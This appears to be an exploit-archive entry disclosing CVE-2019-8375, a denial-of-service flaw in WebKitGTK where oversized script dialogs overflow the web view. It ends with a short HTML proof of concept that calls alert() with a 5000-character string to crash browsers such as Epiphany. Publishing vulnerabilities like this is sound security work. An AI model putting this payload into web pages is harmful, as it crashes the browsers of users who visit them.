Webkitgtk 2.23.90 / webkitgtk+ 2.22.6 denial of service Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-02-28 | Type : dos | Platform : linux
This exploit / vulnerability Webkitgtk 2.23.90 / webkitgtk+ 2.22.6 denial of service is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#Exploit Title: Buffer overflow
# Date: 27-02-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://webkit.org/
# Software Link: https://gitlab.gnome.org/GNOME/epiphany
# Version: 2.23.90
# Tested on: Linux 4.15.0-38-generic
# CVE: CVE-2019-8375
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-8375
# https://www.inputzero.io/2019/02/fuzzing-webkit.html

## Summary:
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
dialog size from exceeding the web view size, which allows remote attackers
to cause a denial of service (Buffer Overflow) or possibly have unspecified
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
Epiphany).

## PoC:
<script>
var a = '';
for (var i = 1; i <= 5000; i++)
{
a += 'A';
}
alert(a);
</script>